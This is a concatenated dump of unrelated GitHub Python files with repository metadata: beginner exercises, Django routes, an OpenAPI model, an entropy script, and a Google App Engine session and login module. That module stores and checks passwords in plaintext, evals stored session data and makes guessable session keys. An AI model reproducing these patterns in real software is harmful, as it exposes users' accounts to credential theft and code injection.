[]\n\tfor filename in os.listdir(SRC_GOOD):\n\t\timg = cv2.imread(os.path.join(SRC_GOOD,filename))\n\t\timg = resize(img)\n\t\tresult = SBN(img)\n\t\trecord.append({\"data\":result,\"type\":1})\n\tfor filename in os.listdir(SRC_BAD):\n\t\timg = cv2.imread(os.path.join(SRC_BAD,filename))\n\t\timg = resize(img)\n\t\tresult = SBN(img)\n\t\trecord.append({\"data\":result,\"type\":0})\n\tsave.save(TAG+\"in.txt\",[record])\n\t\t# cv2.imshow(\"0\",img)\n\t\t# img = resize(img)\n\t\t# result = SBN(img)\n\t\t# print(result)\n\t\t# cv2.imshow(\"1\",img)\n\t\t# cv2.waitKey(0)\n\t\t# break\n","repo_name":"yinby/GraduationProject","sub_path":"bag_generator/SBN.py","file_name":"SBN.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71915455769","text":"import array as arr1\n\n# a = function.module('',[])\na = arr1.array('i',[1, 3, 67, 89, 10, 2, 67, 10]) # elements stored in a;\n # 'i' = integer\n\na.pop() # takes out the last index\nprint(a)\n\na.pop(-3) # takes out the (current) third last index\nprint(a)\n\n# run this seperately\na.remove(10) # removes the first presence of 10\nprint(a)\n\n","repo_name":"oboniA/Data-Structure-and-Algorithms","sub_path":"ARRAYS/remove_elements.py","file_name":"remove_elements.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7917275920","text":"from collections.abc import Iterator\nfrom pathlib import Path\n\nimport discord\n\n\ndef collect_cogs() -> Iterator[str]:\n \"\"\"\n Yields files names from cogs/ folders, formatted so py-cord can load them into the bot as extensions.\n cogs/general.py -> cogs.general\n \"\"\"\n files = Path(\"cogs\").rglob(\"*.py\")\n for file in files:\n if \"__init__\" not in file.name:\n yield file.as_posix()[:-3].replace(\"/\", \".\")\n\n\ndef load_cogs(bot: discord.Bot):\n \"\"\"\n Hacky way to load cogs into bot without explicitly specifying new cogs.\n \"\"\"\n for cog in collect_cogs():\n bot.load_extension(cog, store=False)\n","repo_name":"JoshPaulie/goonbot5","sub_path":"goonbot/cog_management.py","file_name":"cog_management.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72385528727","text":"\"\"\"Realtor URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom graphene_django.views import GraphQLView\nfrom schema import schema\nfrom .views import (\n TreeCategoryList,\n CurrencyList,\n UsersList,\n CitiesList,\n DistrictsList,\n MaterialList,\n WindowList,\n StatesList,\n CategoryList,\n PostList,\n PostDetail,\n ClientDetail,\n ClientList,\n ClientCreate,\n\n PostCreate,\n PostDestroy,\n PostListAll,\n # PostAll,\n FileUploadView,\n get_request,\n get_photoes,\n)\n\nurlpatterns = [\n # url(r'districts/', views.districts),\n # url(r'post/verify', views.verify_post),\n # url(r'post/unverify', views.unverify_post),\n # url(r'post/top', views.top_post),\n # url(r'post/untop', views.untop_post),\n # url(r'post/close', views.close_post),\n # url(r'post/restore', views.restore_post),\n # url(r'post/delete', views.delete_post),\n # url(r'post/edit', views.edit_post),\n # url(r'post/important', views.important_post),\n # url(r'post/unimportant', views.unimportant_post),\n # url(r'post/get_top_eight', views.get_top_eight),\n url(r'^admin/', admin.site.urls),\n url(r'request/$', get_request),\n url(r'photo/(?P[^/]+)$', FileUploadView.as_view()),\n url(r'tree/$', TreeCategoryList.as_view(), name='tree'),\n url(r'currency/$', CurrencyList.as_view(), name='currency list'),\n url(r'users/$', UsersList.as_view(), name='currency list'),\n url(r'cities/$', CitiesList.as_view(), name='cities list'),\n url(r'districts/$', DistrictsList.as_view(), name='districts list'),\n url(r'materials/$', MaterialList.as_view(), name='material list'),\n url(r'windows/$', WindowList.as_view(), name='window list'),\n url(r'states/$', StatesList.as_view(), name='material list'),\n url(r'categories/$', CategoryList.as_view(), name='categories list'),\n url(r'posts/all/$', PostListAll.as_view(), name='admin post list'),\n url(r'posts/$', PostList.as_view(), name='post list'),\n url(r'posts/(?P\\d+)/$', PostDetail.as_view(), name='detail'),\n url(r'clients/(?P\\d+)/$', ClientDetail.as_view(), name='detail'),\n url(r'clients/create/$', ClientCreate.as_view(), name='create'),\n url(r'clients/$', ClientList.as_view(), name='detail'),\n url(r'posts/(?P\\d+)/delete/$', PostDestroy.as_view(), name='destroy'),\n url(r'posts/create/', PostCreate.as_view(), name='create'),\n # url(r'posts/all/', PostAll.as_view(), name='create'),\n url(r'graphql', GraphQLView.as_view(graphiql=True, schema=schema)),\n # url(r'user/verify', views.verify_user),\n # url(r'user/unverify', views.unverify_user),\n # url(r'user/edit', views.edit_profile),\n #\n # url(r'search', views.search),\n # url(r'more', views.more),\n]\n","repo_name":"ifdotpy/dpr.sale_backend","sub_path":"API/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18222926849","text":"\nfrom typing import List\n\n\ndef calculate_total_amount(amts: List[float], discount: float, tax: float) -> float:\n total_amnt = sum(amts)\n if discount is not None:\n discounted_amt = (total_amnt * discount)\n total_amnt -= discounted_amt\n return total_amnt * (1 + tax)\n","repo_name":"viquangly/bad_coding_practices","sub_path":"bad_practices/inconsistent_naming_convention.py","file_name":"inconsistent_naming_convention.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"20221343907","text":"#!/usr/bin/env python\n# coding: utf-8\n\n#import logging, os, sys\n\n# dbサービス\nfrom google.appengine.ext import db\nfrom google.appengine.ext.db import Key\nfrom google.appengine.api import users\n\n# memcacheサービス\nfrom google.appengine.api import memcache\n\n\nimport time,random\nimport hashlib\n\n\n\n# MemcacheのNameSpace名\nSESSION_NAMESPACE = \"Session.\"\n\n# キャシュする時間(秒)\nMEMCACHE_TIME = 3600\n\n# Cookieに使用するキー\nCOOKIE_KEY = \"sessionkey\"\n\n# COOKIEのmax_age(秒)\nMAX_AGE = 120 * 365 * 24 * 60 * 60\n\n\n#-----------------------------------------------------------------\n# memcacheを使用したセッション\nclass MemcacheSession:\n\t\n\t\"\"\"memcacheを使用したセッション\"\"\"\n\t\n\tdef __init__( self, skey ):\n\t\t# セッションKey\n\t\tself.skey = skey\n\t\t# データ\n\t\tself._sp = {}\n\t\t\n\t\n\tdef __getitem__( self, key ):\n\t\treturn self._sp[key]\n\t\n\tdef __setitem__( self, key, value ):\n\t\tself._sp[key] = value\n\t\n\t\n\tdef dispose(self):\n\t\t\"\"\"セッションを終了する\"\"\"\n\t\t\n\t\tmemcache.delete( self.skey, namespace=SESSION_NAMESPACE )\n\t\t\n\t\tself.skey = None\n\t\tself._sp = None\n\t\n\t\n\tdef store(self):\n\t\t\n\t\t\"\"\"データストア更新\"\"\"\n\t\t\n\t\t# memcacheに登録\n\t\tmemcache.replace( self.skey, self._sp, time=MEMCACHE_TIME, namespace=SESSION_NAMESPACE )\n\t\n\t\n\tdef create(self):\n\t\t\n\t\t\"\"\"データストアに新規に作成\"\"\"\n\t\t\n\t\tdef _create(self):\n\t\t\n\t\t\t# キーが存在して無ければ\n\t\t\tif memcache.get( self.skey, namespace=SESSION_NAMESPACE ) is None:\n\t\t\t\t# memcacheに登録\n\t\t\t\tmemcache.add( self.skey, self._sp, time=MEMCACHE_TIME, namespace=SESSION_NAMESPACE )\n\t\t\t\treturn True\n\t\t\t# すでに存在していれば失敗\n\t\t\treturn False\n\t\t\n\t\t# トランザクション内で実行\n\t\treturn db.run_in_transaction_custom_retries( 1, _create, self )\n\n\t\n\t\n\tdef load(self):\n\t\t\n\t\t\"\"\"読み込み\"\"\"\n\t\t\n\t\t# memcacheから読み込み\n\t\td = memcache.get( self.skey, namespace=SESSION_NAMESPACE )\n\t\t# 見つかった\n\t\tif d is not None:\n\t\t\tself._sp = d\n\t\t\treturn True\n\t\t\n\t\treturn False\n\n\n#-----------------------------------------------------------------\n# DataStoreを使用したセッション\nclass DataStoreSession:\n\t\n\tdef __init__( self, skey ):\n\t\t# セッションKey\n\t\tself.skey = skey\n\t\t# データ\n\t\tself._sp = {}\n\t\n\tdef __getitem__( self, key ):\n\t\treturn self._sp[key]\n\t\n\tdef __setitem__( self, key, value ):\n\t\tself._sp[key] = value\n\t\n\t\n\t\n\tdef dispose(self):\n\t\t\n\t\t\"\"\"セッションを破棄する\"\"\"\n\t\t\n\t\tm = DataStoreSessionModel.get_by_key_name( self.skey )\n\t\tif m is not None:\n\t\t\t\n\t\t\tm.delete()\n\t\t\t\n\t\t\t# これ以降悪さをしないようメンバを無効にする\n\t\t\tself.skey = None\n\t\t\tself._sp = None\n\t\t\t\n\t\t\treturn True\n\t\t\n\t\treturn False\n\t\n\t\n\t# storeに失敗したらFalseを返します\n\tdef store(self):\n\t\t\n\t\t\"\"\"データストア更新\"\"\"\n\t\t\n\t\tm = DataStoreSessionModel( key_name=self.skey )\n\t\tm.data = str(self._sp)\n\t\tm.put()\n\t\n\t\n\tdef create(self):\n\t\t\n\t\t\"\"\"データストアに新規に作成\"\"\"\n\t\t\n\t\tdef _create(self):\n\t\t\t\n\t\t\t# すでに存在の判定\n\t\t\tmodel = DataStoreSessionModel.get_by_key_name( self.skey )\n\t\t\tif model is None:\n\t\t\t\t\n\t\t\t\t# 新規作成\n\t\t\t\tm = DataStoreSessionModel( key_name=self.skey )\n\t\t\t\tm.data = str(self._sp)\n\t\t\t\tm.put()\n\t\t\t\t\n\t\t\t\treturn True\n\t\t\t\n\t\t\treturn False\n\t\t\n\t\t# トランザクション内で実行\n\t\treturn db.run_in_transaction_custom_retries( 1, _create, self )\n\t\n\t\n\tdef load(self):\n\t\t\n\t\t\"\"\"読み込み\"\"\"\n\t\t\n\t\tmodel = DataStoreSessionModel.get_by_key_name( self.skey )\n\t\t# 見つかった\n\t\tif model is not None:\n\t\t\tself._sp = eval(model.data)\n\t\t\treturn True\n\t\t\n\t\treturn False\n\n\nclass DataStoreSessionModel(db.Model):\n\t\n\t# 作成日時\n\tdata = db.TextProperty()\n\t\n\t# 作成日時\n\tdate = db.DateTimeProperty(auto_now_add=True)\n\n\n\n\n#-----------------------------------------------------------------\n# API\n\n\n# セッションインスタンスを作成する\ndef session( skey ):\n\t\"\"\"セッションのコンストラクタ\"\"\"\n\treturn DataStoreSession(skey)\n#\treturn MemcacheSession(skey)\n\n\n\n# セッションを新規に作成します\ndef create_new_session():\n\t\n\ts = session( create_session_key() )\n\t\n\twhile s.create() == False:\n\t\ts = session( create_session_key() )\n\t\n\treturn s\n\n\n# セッションIDを作成します\ndef create_session_key():\n\tm = hashlib.sha224()\n\tm.update( str(time.localtime()) )\n\tm.update( str(random.randint(0,9999999)) )\n\treturn \"m\"+m.hexdigest()\n\n\n# セッション情報を検索して取得します\ndef search_session( sessionkey ):\n\t\n\ts = session( sessionkey )\n\t\n\tif s.load():\n\t\treturn s\n\t\n\t# 見つからなかった\n\treturn None\n\n\n\n#---------------------------------\n\n\n# セッションが記録される取り扱うページ\ndef session_page( func ):\n\t\n\tdef login_checker( *args, **kwargs ):\n\t\t\n\t\t# HttpRequest\n\t\treq = args[0]\n\t\t\n\t\ts = None\n\t\t\n\t\t#-----------------\n\t\t# セッションIDをCookieから取得\n\t\tskey = req.COOKIES.get(COOKIE_KEY,None)\n\t\t\n\t\t# cookie情報があった場合セッションを取得\n\t\tif skey is not None:\n\t\t\ts = search_session( skey )\n\t\t\t\n\t\t# セッションが無ければ作成\n\t\tif s is None:\n\t\t\ts = create_new_session()\n\t\t\t# 基本的なユーザー情報を記録\n\t\t\ts['HTTP_USER_AGENT'] = req.META['HTTP_USER_AGENT']\n\t\t\ts['REMOTE_ADDR'] = req.META['REMOTE_ADDR']\n\t\t\n\t\t#-----------------\n\t\t# 引数にセッションを追加し関数呼び出し\n\t\tkwargs['session'] = s\n\t\tresponse = func( *args, **kwargs )\n\t\t\n\t\t#-----------------\n\t\t# 関数によってセッションが破棄される場合がある\n\t\tif s.skey is not None:\n\t\t\t\n\t\t\t# 破棄されて無ければセッション内容更新する\n\t\t\ts.store()\n\t\t\t\n\t\t\t# HttpResponseにセッションのためのcookieをセットする\n\t\t\tif response is not None:\n\t\t\t\tresponse.set_cookie( COOKIE_KEY, value=s.skey, max_age=MAX_AGE )\n\t\t\n\t\telse:\n\t\t\t\n\t\t\t# 破棄されているのでcookieを削除\n\t\t\tif response is not None:\n\t\t\t\tresponse.delete_cookie( COOKIE_KEY )\n\t\t\n\t\treturn response\n\t\n\t\n\treturn login_checker\n\n\n\n\n#----------------------------------------------------\n\nclass Account(db.Expando):\n\t\n\t\"\"\"アカウント情報のクラス\"\"\"\n\t\n\t# key_nameと同じ内容をidが持っているのがカッコ悪い\n\t# なぜ持っているかというと、Modelを外部に直接渡していて、\n\t# そこでidという記述にてidを取得したいから。key().name()とかしたくない\n\t# でも、これってどうよ的な\n\t\n\t\n\t# ID = メンバーID\n\tid = db.StringProperty(multiline=False)\n\t\n\t# PW = メンバーPW\n\tpw = db.StringProperty(multiline=False)\n\t\n\t# 作成日時\n\tdate = db.DateTimeProperty(auto_now_add=True)\n\n\n\n#----------------------------------------------------\n# ログイン\ndef login( session, id, pw ):\n\t\n\t# 指定されたIDでAccountを取得\n\taccount = Account.get_by_key_name( id )\n\t\n\t# アカウントが存在するかどうか\n\tif account is not None:\n\t\t\n\t\tif account.pw == pw:\n\t\t\t\n\t\t\t# セッションにAccountのKeyを保存\n\t\t\tsession['account_key'] = str( account.key() )\n\t\t\t\n\t\t\treturn account\n\t\n\treturn None\n\n\n#-----------------------------------------------------\n# 新規アカウントの作成\ndef create_new_account( id, pw ):\n\t\n\t\"\"\"新規Accountの作成\"\"\"\n\t\n\t# 指定されたIDが存在するか調査して作成\n\tdef check_and_create( id ):\n\t\t\n\t\tmodel = Account.get_by_key_name( id )\n\t\t\n\t\t# すでに存在していたらNoneを返す\n\t\tif model is None:\n\t\t\n\t\t\t# DataStoreにModel作成\n\t\t\tmodel = Account( key_name=id )\n\t\t\tmodel.id = id\n\t\t\tmodel.pw = pw\n\t\t\tmodel.put()\n\t\t\t\n\t\t\treturn model\n\t\t\n\t\treturn None\n\t\n\t# トランザクション内で実行\n\treturn db.run_in_transaction_custom_retries( 1, check_and_create, id )\n\n\n#-----------------------------------------------------\n# 会員のみ参照可能ページ\ndef account_lock( noaccountfunc ):\n\n\t\"\"\"会員のみ実行されるページ\n\n\turlsに登録したPage表示関数にdecoして使います\n\n\t@account_lock( noaccountfunc )\n\tdef func( request, session=None, account=None ):\n\t\tpass\n\n\tsession = SessionCacheインスタンス\n\taccount = Accountインスタンス\n\tnoaccountfunc = セッションがない場合に呼ばれる関数\n\n\t\"\"\"\n\tdef wrapper( func ):\n\t\t\n\t\tdef memberable( *args, **kw ):\n\t\t\t\n\t\t\t# セッションからAccount情報を取得\n\t\t\ttry:\n\t\t\t\taccount = db.get( Key( kw['session']['account_key'] ) )\n\t\t\t\tif account is None:\n\t\t\t\t\traise KeyError\n\t\t\t\t\n\t\t\texcept KeyError:\n\t\t\t\t\n\t\t\t\t# セッションが正しくなかったり、\n\t\t\t\t# Accountがなければメンバーなしページの呼び出し\n\t\t\t\treturn noaccountfunc( args[0] )\n\t\t\t\n\t\t\telse:\n\t\t\t\t# Accountがあれば、メンバーデータセットし\n\t\t\t\tkw['account'] = account\n\t\t\t\t\n\t\t\t\t# 元々の関数を呼び出す\n\t\t\t\tresult = func( *args, **kw)\n\t\t\t\t\n\t\t\t\t# Accountデータを更新\n\t\t\t\taccount.put()\n\t\t\t\t\n\t\t\t\treturn result\n\t\t\n\t\treturn session_page( memberable )\n\t\n\treturn wrapper\n\n\n\n","repo_name":"yomusu/GAEYom","sub_path":"yomusu/yom/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":8799,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"13086742990","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom openapi_server.models.base_model_ import Model\nfrom openapi_server.models.observable_symbol import ObservableSymbol\nfrom openapi_server import util\n\nfrom openapi_server.models.observable_symbol import ObservableSymbol # noqa: E501\n\nclass Transliteration(Model):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).\n\n Do not edit the class manually.\n \"\"\"\n\n def __init__(self, language_code=None, compressed_character_sequence=None, encoding=None, charset=None, direction=None, collation_language=None, character_sequence=None): # noqa: E501\n \"\"\"Transliteration - a model defined in OpenAPI\n\n :param language_code: The language_code of this Transliteration. # noqa: E501\n :type language_code: str\n :param compressed_character_sequence: The compressed_character_sequence of this Transliteration. # noqa: E501\n :type compressed_character_sequence: str\n :param encoding: The encoding of this Transliteration. # noqa: E501\n :type encoding: str\n :param charset: The charset of this Transliteration. # noqa: E501\n :type charset: str\n :param direction: The direction of this Transliteration. # noqa: E501\n :type direction: str\n :param collation_language: The collation_language of this Transliteration. # noqa: E501\n :type collation_language: str\n :param character_sequence: The character_sequence of this Transliteration. # noqa: E501\n :type character_sequence: List[ObservableSymbol]\n \"\"\"\n self.openapi_types = {\n 'language_code': str,\n 'compressed_character_sequence': str,\n 'encoding': str,\n 'charset': str,\n 'direction': str,\n 'collation_language': str,\n 'character_sequence': List[ObservableSymbol]\n }\n\n self.attribute_map = {\n 'language_code': 'languageCode',\n 'compressed_character_sequence': 'compressedCharacterSequence',\n 'encoding': 'encoding',\n 'charset': 'charset',\n 'direction': 'direction',\n 'collation_language': 'collation-language',\n 'character_sequence': 'characterSequence'\n }\n\n self._language_code = language_code\n self._compressed_character_sequence = compressed_character_sequence\n self._encoding = encoding\n self._charset = charset\n self._direction = direction\n self._collation_language = collation_language\n self._character_sequence = character_sequence\n\n @classmethod\n def from_dict(cls, dikt) -> 'Transliteration':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The Transliteration of this Transliteration. # noqa: E501\n :rtype: Transliteration\n \"\"\"\n return util.deserialize_model(dikt, cls)\n\n @property\n def language_code(self):\n \"\"\"Gets the language_code of this Transliteration.\n\n The BCP-47 language code # noqa: E501\n\n :return: The language_code of this Transliteration.\n :rtype: str\n \"\"\"\n return self._language_code\n\n @language_code.setter\n def language_code(self, language_code):\n \"\"\"Sets the language_code of this Transliteration.\n\n The BCP-47 language code # noqa: E501\n\n :param language_code: The language_code of this Transliteration.\n :type language_code: str\n \"\"\"\n\n self._language_code = language_code\n\n @property\n def compressed_character_sequence(self):\n \"\"\"Gets the compressed_character_sequence of this Transliteration.\n\n compressed version of character sequence # noqa: E501\n\n :return: The compressed_character_sequence of this Transliteration.\n :rtype: str\n \"\"\"\n return self._compressed_character_sequence\n\n @compressed_character_sequence.setter\n def compressed_character_sequence(self, compressed_character_sequence):\n \"\"\"Sets the compressed_character_sequence of this Transliteration.\n\n compressed version of character sequence # noqa: E501\n\n :param compressed_character_sequence: The compressed_character_sequence of this Transliteration.\n :type compressed_character_sequence: str\n \"\"\"\n\n self._compressed_character_sequence = compressed_character_sequence\n\n @property\n def encoding(self):\n \"\"\"Gets the encoding of this Transliteration.\n\n Character encoding type # noqa: E501\n\n :return: The encoding of this Transliteration.\n :rtype: str\n \"\"\"\n return self._encoding\n\n @encoding.setter\n def encoding(self, encoding):\n \"\"\"Sets the encoding of this Transliteration.\n\n Character encoding type # noqa: E501\n\n :param encoding: The encoding of this Transliteration.\n :type encoding: str\n \"\"\"\n allowed_values = [\"ISO-646-ASCII\", \"UTF-8\"] # noqa: E501\n if encoding not in allowed_values:\n raise ValueError(\n \"Invalid value for `encoding` ({0}), must be one of {1}\"\n .format(encoding, allowed_values)\n )\n\n self._encoding = encoding\n\n @property\n def charset(self):\n \"\"\"Gets the charset of this Transliteration.\n\n The set of characters allowed , alphabet # noqa: E501\n\n :return: The charset of this Transliteration.\n :rtype: str\n \"\"\"\n return self._charset\n\n @charset.setter\n def charset(self, charset):\n \"\"\"Sets the charset of this Transliteration.\n\n The set of characters allowed , alphabet # noqa: E501\n\n :param charset: The charset of this Transliteration.\n :type charset: str\n \"\"\"\n allowed_values = [\"latin1\", \"latin2\", \"cp1251\", \"greek\", \"hebrew\"] # noqa: E501\n if charset not in allowed_values:\n raise ValueError(\n \"Invalid value for `charset` ({0}), must be one of {1}\"\n .format(charset, allowed_values)\n )\n\n self._charset = charset\n\n @property\n def direction(self):\n \"\"\"Gets the direction of this Transliteration.\n\n reading direction # noqa: E501\n\n :return: The direction of this Transliteration.\n :rtype: str\n \"\"\"\n return self._direction\n\n @direction.setter\n def direction(self, direction):\n \"\"\"Sets the direction of this Transliteration.\n\n reading direction # noqa: E501\n\n :param direction: The direction of this Transliteration.\n :type direction: str\n \"\"\"\n allowed_values = [\"left-to-right\", \"right-to-left\", \"top-to-bottom\", \"bottom-to-top\"] # noqa: E501\n if direction not in allowed_values:\n raise ValueError(\n \"Invalid value for `direction` ({0}), must be one of {1}\"\n .format(direction, allowed_values)\n )\n\n self._direction = direction\n\n @property\n def collation_language(self):\n \"\"\"Gets the collation_language of this Transliteration.\n\n collation use for comparing and sorting the characters, as per Unicode Sorting Algorithm # noqa: E501\n\n :return: The collation_language of this Transliteration.\n :rtype: str\n \"\"\"\n return self._collation_language\n\n @collation_language.setter\n def collation_language(self, collation_language):\n \"\"\"Sets the collation_language of this Transliteration.\n\n collation use for comparing and sorting the characters, as per Unicode Sorting Algorithm # noqa: E501\n\n :param collation_language: The collation_language of this Transliteration.\n :type collation_language: str\n \"\"\"\n allowed_values = [\"utf8_romanian_ci\", \"latin2_general_ci\", \"cp1250_general_ci\", \"greek_general_ci\", \"hebrew_general_ci\"] # noqa: E501\n if collation_language not in allowed_values:\n raise ValueError(\n \"Invalid value for `collation_language` ({0}), must be one of {1}\"\n .format(collation_language, allowed_values)\n )\n\n self._collation_language = collation_language\n\n @property\n def character_sequence(self):\n \"\"\"Gets the character_sequence of this Transliteration.\n\n The order of the characters, according to the direction of the transliteration # noqa: E501\n\n :return: The character_sequence of this Transliteration.\n :rtype: List[ObservableSymbol]\n \"\"\"\n return self._character_sequence\n\n @character_sequence.setter\n def character_sequence(self, character_sequence):\n \"\"\"Sets the character_sequence of this Transliteration.\n\n The order of the characters, according to the direction of the transliteration # noqa: E501\n\n :param character_sequence: The character_sequence of this Transliteration.\n :type character_sequence: List[ObservableSymbol]\n \"\"\"\n\n self._character_sequence = character_sequence\n","repo_name":"tdrvlad/OpenAPI-Generator-Tested","sub_path":"Generated_Server_Python/openapi_server/models/transliteration.py","file_name":"transliteration.py","file_ext":"py","file_size_in_byte":9148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24947240904","text":"from math import log\n\nprefix = '../data/'\n\n\ndef count_entropy(filename):\n print('\\t' + filename)\n with open(prefix + filename, \"rb\") as f:\n text = b''.join(f.readlines()) # text - лист с символами файла\n N = len(text)\n byte_alphabet_size = 256\n window_sizes = [1, 2, 3, 4, 8]\n for n in window_sizes:\n count_blocks = N - n + 1\n prob = norm_prob = dict() # отображения из символов алфавита (алфавит зависит от длины окна) в вероятности\n # prob - значение вероятностей для пункта 2 (без учета не встречающихся),\n # norm_prob - значение вероятностей для пункта 3 (вероятности для не встречающихся равны 1 / (N ** n))\n for i in range(count_blocks):\n s = text[i:i+n]\n if s in prob:\n prob[s] += 1\n else:\n prob[s] = 1\n\n missing = (byte_alphabet_size ** n) - len(prob)\n # missing = количество не встречающихся символов алфавита\n missing_prob = missing / (N ** n) # доля вероятности приходящаяся на эти символы\n norm_multiplier = 1 - missing_prob # коэффициент нормировки для оставшихся вероятностей\n\n for i in prob.keys():\n prob[i] /= count_blocks #\n norm_prob[i] = prob[i] * norm_multiplier\n\n entropy = norm_entropy = 0.0\n # entropy - значение энтропии для пункта 2 (без учета не встречающихся),\n # norm_entropy - значение энтропии для пункта 3 (вероятности для не встречающихся равны 1 / (N ** n))\n\n for i in prob.values():\n entropy -= i * log(i, 2)\n\n for i in prob.values():\n norm_entropy -= i * log(i, 2)\n norm_entropy += missing_prob * log((N ** n), 2) # все не встречающиеся имеют одинаковый логарифм в сумме\n # вынесен минус из логарифма из-за проблем с точностью вещественных чисел\n\n # делим на количество символов в окне, для получения энтропии одного символа\n entropy /= n\n norm_entropy /= n\n\n # энтропии на букву, нижняя оценка на количество байт\n print(\"%d | %.5f | %.5f | %6.0f bytes\" %(n, entropy, norm_entropy, (norm_entropy * len(text)) / 8))\n print()\n\nif __name__ == '__main__':\n files = ['book2', 'kennedy.xls', 'progp', 'sum']\n for file in files:\n count_entropy(file)","repo_name":"antonkov/UniversityCourses","sub_path":"Information-Theory/Task1/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"ru","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"6518290396","text":"data = []\ncount = 0\nwith open('reviews.txt', 'r') as f:\n\tfor line in f:\n\t\tdata.append(line)\n\t\tcount += 1\n\t\tif count % 1000 == 0:\n\t\t\tprint(len(data))\nprint('檔案讀取完了,共有',len(data),'筆資料!')\n\nsum_len = 0\nfor d in data:\n\tsum_len += len(d)\nprint('平均:',sum_len/len(data))\n\n\nnew = []\nfor d in data:\n\tif len(d) < 100:\n\t\tnew.append(d)\nprint('一共有:',len(new),'筆留言長度小於100')\nprint(new[0])\nprint(new[1])\n\n\n#文字計數\ngood = []\nfor d in data:\n\tif 'good' in d:\n\t\tgood.append(d)\nprint('一共有:',len(good),'筆留言提及good')\nprint(good[0])\n\ngood = [d for d in data if 'good' in d] #26~30\nprint('總共有--',len(good),'個留言含有good')\n\nwc = {} #word_count\nfor d in data:\n\twords = d.split() #預設值,為空白鍵\n\tfor w in words:\n\t\tif w in wc:\n\t\t\twc[w] += 1\n\t\telse:\n\t\t\twc[w] = 1\nfor w in wc:\n\tif wc[w] >= 1000000:\n\t\tprint(w, wc[w])\n\nwhile True:\n\tw = input('請輸入想查詢的字:')\n\tif w == 'q':\n\t\tbreak\n\tif w in wc:\n\t\tprint('您所查詢的字是:', w, ';共出現', wc[w], '次 ')\n\telse:\n\t\tprint('很抱歉,您所查詢的字並未出現')\nprint('感謝使用')\n","repo_name":"sfeedden/reviews-analytics","sub_path":"read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20383077639","text":"# * ---------------- Simple Loops ----------------\n# #! => For loop Vs List Comprehensions\n# Empty Lists\nList=[]\nfor charcs in 'WorkingToLate':\n List.append(charcs)\nprint(List)\n\n# #! => List Compreshensions\nList = [charc for charc in 'WorkingToHard']\nprint(List)\n\n#* --------------------------- Nested List Compherision ---------------\n\nmatrix=[]\nfor i in range(3):\n matrix.append([])\n for j in range(5):\n matrix[i].append(j)\n\nprint('For Loop Inner Loops',matrix)\n#\n# #! => List Compreshensions\nmatrix = [[j for j in range(5)] for i in range(3)]\nprint(matrix)\n\n# *---------------- Using the Conditions in the If Statement -------------\ndef digitSum(n):\n digitsum=0\n for element in str(n):\n digitsum+= int(element)\n return digitsum\n\nList=[367,114,561,524,2780,220,745]\nnewList=[digitSum(i) for i in List if i&1]\nprint(newList)","repo_name":"mohammedkharoda/Python_Learning","sub_path":"Lists/List Comprehensions.py","file_name":"List Comprehensions.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"26463050608","text":"import os\nfrom sqlalchemy import create_engine, MetaData\n\nfrom keywords.db import construct_db_url\nfrom keywords.db import urls, keywords\n\n\ndef setup_db():\n engine = get_engine()\n\n db_name = os.environ['DB_NAME']\n db_user = os.environ['DB_USER']\n db_pass = os.environ['DB_PASSWORD']\n\n with engine.connect() as conn:\n #teardown_db()\n\n conn.execute(\"CREATE USER %s WITH PASSWORD '%s'\" % (db_user, db_pass))\n conn.execute(\"CREATE DATABASE %s\" % db_name)\n conn.execute(\"GRANT ALL PRIVILEGES ON DATABASE %s TO %s\" %\n (db_name, db_user))\n\n\ndef teardown_db():\n engine = get_engine()\n\n db_name = os.environ['DB_NAME']\n db_user = os.environ['DB_USER']\n\n with engine.connect() as conn:\n # terminate all connections to be able to drop database\n conn.execute(\"\"\"\n SELECT pg_terminate_backend(pg_stat_activity.pid)\n FROM pg_stat_activity\n WHERE pg_stat_activity.datname = '%s'\n AND pid <> pg_backend_pid();\"\"\" % db_name)\n conn.execute(\"DROP DATABASE IF EXISTS %s\" % db_name)\n conn.execute(\"DROP ROLE IF EXISTS %s\" % db_user)\n\n\ndef get_engine():\n db_url = construct_db_url()\n engine = create_engine(db_url, isolation_level='AUTOCOMMIT')\n return engine\n\n\ndef create_tables():\n engine = get_engine()\n\n meta = MetaData()\n meta.create_all(bind=engine, tables=[urls, keywords])\n\n\ndef drop_tables():\n engine = 